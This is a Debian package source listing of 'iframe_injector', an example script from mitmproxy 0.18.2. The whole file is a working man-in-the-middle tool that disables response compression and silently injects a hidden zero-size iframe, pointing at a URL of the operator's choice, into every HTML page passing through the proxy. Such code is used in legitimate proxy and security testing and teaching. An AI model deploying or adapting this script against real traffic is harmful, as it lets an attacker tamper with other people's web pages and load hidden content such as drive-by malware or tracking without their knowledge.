File: iframe_injector

package info (click to toggle)
mitmproxy 0.18.2-6%2Bdeb9u2
  • links: PTS, VCS
  • area: main
  • in suites: stretch
  • size: 37,444 kB
  • sloc: python: 33,213; makefile: 167; ansic: 68; sh: 48
file content (50 lines) | stat: -rwxr-xr-x 1,398 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
"""
    Zap encoding in requests and inject iframe after body tag in html responses.
    Usage:
        iframe_injector http://someurl/somefile.html
"""
from libmproxy import controller, proxy
import os
import sys


class InjectingMaster(controller.Master):
    def __init__(self, server, iframe_url):
        controller.Master.__init__(self, server)
        self._iframe_url = iframe_url

    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def handle_request(self, msg):
        if 'Accept-Encoding' in msg.headers:
            msg.headers["Accept-Encoding"] = 'none'
        msg.reply()

    def handle_response(self, msg):
        if msg.content:
            c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url)
            if c > 0:
                print 'Iframe injected!'
        msg.reply()


def main(argv):
    if len(argv) != 2:
        print "Usage: %s IFRAME_URL" % argv[0]
        sys.exit(1)
    iframe_url = argv[1]
    config = proxy.ProxyConfig(
        cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
    )
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server, iframe_url)
    m.run()

if __name__ == '__main__':
    main(sys.argv)